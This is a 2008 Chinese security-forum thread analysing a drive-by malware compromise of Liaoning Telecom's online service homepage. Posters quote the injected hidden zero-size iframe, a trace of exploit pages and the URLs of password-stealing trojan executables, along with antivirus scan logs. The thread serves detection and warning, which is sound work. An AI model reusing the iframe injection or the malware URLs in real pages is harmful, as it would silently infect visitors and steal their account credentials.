红伞报辽宁电信网上营业厅首页挂马

显示全部楼层 · 发表于 2008-3-5 18:42:32

NOD报启发木马

显示全部楼层 · 发表于 2008-3-5 19:02:46

哎~~

无法下载

显示全部楼层 · 发表于 2008-3-5 19:20:27

ritama.cn
这网址搞笑

显示全部楼层 · 发表于 2008-3-5 19:20:39

原帖由 qianwenxiang 于 2008-3-5 18:39 发表
Log is generated by FreShow.
[wide]http://www.ln.ct10000.com/
[script]http://www.ln.ct10000.com/lnwss/js/ad.js
[frame]http://cache.baidu.com/c?word=b&url=http://%72%69%74%61%6D%61%2E%6 ...

exe中的东西：

www.balbv.cn/xz/12387617/log.txt
http://www.balbv.cn/echo/mh.exe
http://www.balbv.cn/echo/cq.exe

<iframe src=http://www.baibv.com/index.htm width=0 height=0></iframe>

Log is generated by FreShow.
[wide]http://www.baibv.com/index.htm
[frame]http://www.baibv.com/ing/moster/index.htm
      [script]http://www.baibv.com/ing/moster/Ajax.gif
      [frame]http://www.baibv.com/ing/moster/Ms06014.htm
      [script]http://www.baibv.com/ing/moster/Real.js
      [script]http://www.baibv.com/ing/moster/Bfyy.gif
      [script]http://www.baibv.com/ing/moster/Lz.gif
      [frame]http://www.baibv.com/ing/moster/QVod.html
         [object]http://www.baibv.com/ing/moster/xz.exe

xz.exe与上面的那个是一样的

另有一用于arp欺骗的winpcap.exe，以及一个asp：http://www.sitama.cn/lin.asp，只返回了no，是否referer检测未知

显示全部楼层 · 发表于 2008-3-5 20:19:58

http://ritama.cn/long/xz.exe
www.balbv.cn/xz/12387617/log.txt
http://www.balbv.cn/echo/mh.exe
http://www.balbv.cn/echo/cq.exe

显示全部楼层 · 发表于 2008-3-5 20:22:45

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.PSW.Win32.GamesOnline.oz

病毒： Trojan.Win32.Undef.dbz

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.34.22

显示全部楼层 · 发表于 2008-3-5 20:42:19

看来楼主的帐号真是不保了

显示全部楼层 · 发表于 2008-3-5 20:44:30

红伞都报了你还怕盗号？

显示全部楼层 · 发表于 2008-3-5 21:26:20

ESS扫描日志
病毒库版本: 2923 (20080305)
日期: 2008-3-5 时间: 21:30:06
已扫描的磁盘、文件夹和文件: D:\Documents and Settings\XX\桌面\virus.rar
D:\Documents and Settings\XX\桌面\virus.rar > RAR > mh.exe - Win32/PSW.OnLineGames.MUG 特洛伊木马的变种
D:\Documents and Settings\XX\桌面\virus.rar > RAR > xz.exe - 可能是 Win32/Genetik 特洛伊木马的变种
D:\Documents and Settings\XX\桌面\virus.rar > RAR > cq.exe - Win32/PSW.OnLineGames.MUG 特洛伊木马
已扫描的对象数: 3
发现的威胁数: 3
完成时间: 21:30:08 总扫描时间: 2 秒 (00:00:02)

显示全部楼层 · 发表于 2008-3-5 21:29:00

已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.sem 檔案: C:\Documents and Settings\kato9096\桌面\virus.rar/mh.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.sem 檔案: C:\Documents and Settings\kato9096\桌面\virus.rar/cq.exe//PE_Patch//UPack

上报卡巴

红伞报辽宁电信网上营业厅首页挂马

回复 10楼 qianwenxiang 的帖子

本帖子中包含更多资源

6/3

本帖子中包含更多资源

回复 16楼 qigang 的帖子

回复 16楼 qigang 的帖子